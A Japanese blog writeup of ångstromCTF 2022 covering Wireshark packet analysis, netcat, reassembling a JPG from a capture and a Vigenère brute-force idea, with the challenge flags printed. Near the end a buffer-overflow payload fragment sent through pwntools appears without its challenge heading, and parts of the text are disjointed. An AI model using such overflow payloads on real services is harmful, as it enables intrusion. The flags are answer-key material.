ångstromCTF 2022 Writeup - よっちんのブログ

この大会は2022/4/30 9:00(JST)～2022/5/5 9:00(JST)に開催されました。
今回もチームで参戦。結果は1091点で1180チーム中206位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 10)

Discordに入り、#rolesチャネルのメッセージにフラグアイコンでリアクションすると、たくさんのチャネルが現れる。#generalチャネルのトピックを見ると、フラグが書いてあった。

actf{sice_deets_and_capture_flags}

Interwebz (MISC 20)

ncで接続するだけ。

$ nc challs.actf.co 31335

Shark 1 (MISC 70)

TCPパケットでTCP Streamを見る。

Hello!
Here is the flag:
actf{wireshark_doo_doo_doo_doo_doo_doo}

actf{wireshark_doo_doo_doo_doo_doo_doo}

Shark 2 (MISC 70)

パケットNo.38にjpgが含まれているのがわかる。
以下でフィルタリングし、分断されたjpgをエクスポートする。

tcp.stream eq 2 && ip.dst==10.0.2.15

エクスポートしたファイルを結合する。

$ cat *.bin > flag.jpg

結合した画像にフラグが書いてあった。

payload = 'A' * BUFLEN

data = p.recvuntil(b'? ').decode()
print(data + payload)
p.sendline(payload.encode())
data = p.recvuntil(b'!\n').rstrip()

■encrypt(msg, key)
・msgの英小文字のみ鍵keyでVigenere暗号を実行

"{"の前の文字列のどれかが"actf"の暗号なので、ブルートフォースでkeyを求める。また"}"の後ろの文字列のどれかが"fleg"の暗号で、1つのkeyに対して"fleg"の暗号が4パターンあるので、それもブルートフォースで探索し、該当するものを割り出す。
